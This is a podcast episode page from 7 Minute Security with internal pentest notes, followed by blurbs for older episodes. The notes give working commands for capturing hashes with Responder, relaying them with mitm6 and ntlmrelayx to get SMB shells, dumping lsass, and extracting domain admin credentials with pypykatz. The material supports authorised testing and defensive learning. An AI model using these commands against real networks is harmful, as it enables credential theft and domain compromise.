7MS #423: Tales of Internal Pentest Pwnage - Part 18
7 Minute Security15 Heinä 2020

7MS #423: Tales of Internal Pentest Pwnage - Part 18

This is an especially fun tale of pentest pwnage because it involves D.D.A.D. (Double Domain Admin Dance) and varying T.T.D.A. (Time to Domain Admin). The key takeaways I want to share from these tests are as follows:

  • Responder.py -i eth0 -rPv is AWESOME. It can make the network rain hashes like manna from heaven!
  • Testing the egress firewall is easy with this script. Consider this SANS article for guidance on ports to lock down.
  • Testing for MS14-025 is easy with this site.
  • mitm6 and ntlmrelayx can work really well together to rain shells if you follow this article. It's especially handy/focused when you create a targets.txt that looks something like this:
smb://CORP\Administrator@192.168.195.2 smb://CORP\Administrator@192.168.195.3 smb://CORP\brian.admin@192.168.195.7 192.168.195.7 192.168.195.10

Then save that as your targets.txt and run ntlmrelayx with ./ntlmrelayx.py -tf /targets.txt -socks -smb2support. From there, once you get active socks connections, you can connect to them directly with a full interactive shell with something like proxychains smbclient //192.168.195.2/ -U CORP/brian.admin

  • I ran into a weird issue with CrackMapExec where the --local-auth flag didn't seem to be working so I ended up trying the binary version and then it worked like a champ!

  • Looking to dump lsass a "clean" way? Try RDPing in directly to the victim machine, opening up taskmgr.exe, click the Details tab, then right-click lsass.exe and choose Create dump file and bam, done.

  • Wanna spin up a quick SMB share from your Kali box? Try smbserver.py -smb2support share /share

  • Then, once you've pulled back the lsass.dmp file, you can rip through it easily with:

pip3 install pypykatz sudo pypykatz lsa minidump lsass.dmp > lsass.txt

Then comb through lsass.txt and hopefully there will be some delicious and nutritious DA creds there for you to much on!

Jaksot(690)

7MS #129: Embarrassing Stories

7MS #129: Embarrassing Stories

In this episode I talk about face-planting in my office at the first job I had out of college.

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7MS #128: Transparency is King

7MS #128: Transparency is King

In this episode, I talk about a restaurant infosec assessment I did, and how the recommendations coming out of that assessment didn't fit the standard "mold." I also talk about how being transparent and helpful - and NOT billing clients for every tiny little thing - is king.

27 Joulu 20159min

7MS #127: Intro to HIPAA Assessments

7MS #127: Intro to HIPAA Assessments

This episode covers a few HIPAA tidbits I picked up while preparing for - and executing - a HIPAA security assessment.

27 Joulu 20159min

7MS #126: Get Your Name Out There

7MS #126: Get Your Name Out There

This episode isn't about infosec exactly, but it talks about how using public resources like LinkedIn, Twitter and blogs to boost your "brand" (though I hate that word) and help you get more connected to the infosec community, job leads and more!

24 Joulu 20158min

7MS #125: Securing Your Life-Part 2

7MS #125: Securing Your Life-Part 2

Way back in episode #93, I talked about things you can do to secure your life (mortgage review, adequate insurance, estate planning, investments, etc.). This episode continues that train of thought and covers: getting the right amount of life insurance, getting the right home/auto coverage, as well as estate planning.

23 Joulu 20157min

7MS #124: Sprinkles

7MS #124: Sprinkles

This episode is 90% a rant about how annoying carry-on luggage and air travel can be, and a 10% sprinkling of security sauce mixed in. Hence: sprinkles.

23 Joulu 20158min

7MS #123: Doing a Redo Assessment

7MS #123: Doing a Redo Assessment

This episode talks about my experience in doing a "redo" security assessment, during which I struggled with the following questions: what's the best way to efficiently correct the erroneous information and make the customer happy without asking ALL the original questions over again? Especially when I have little to no time to prepare for the "redo" interview?

22 Joulu 20159min

7MS #122: OFFTOPIC-An Apology to Elephants

7MS #122: OFFTOPIC-An Apology to Elephants

Preview76 wordsThis episode is about a documentary called An Apology to Elephants. It's all about the treatment (or mistreatment) of elephants, and the main message of the movie is, "Please don't go to the circus when it's in town, because you're supporting elephant abuse." Even if that message was a little heavy handed, I certainly will pass on tickets next time a circus act comes through town. You can subscribe to the 7 Minute Security podcast here.

20 Joulu 20158min

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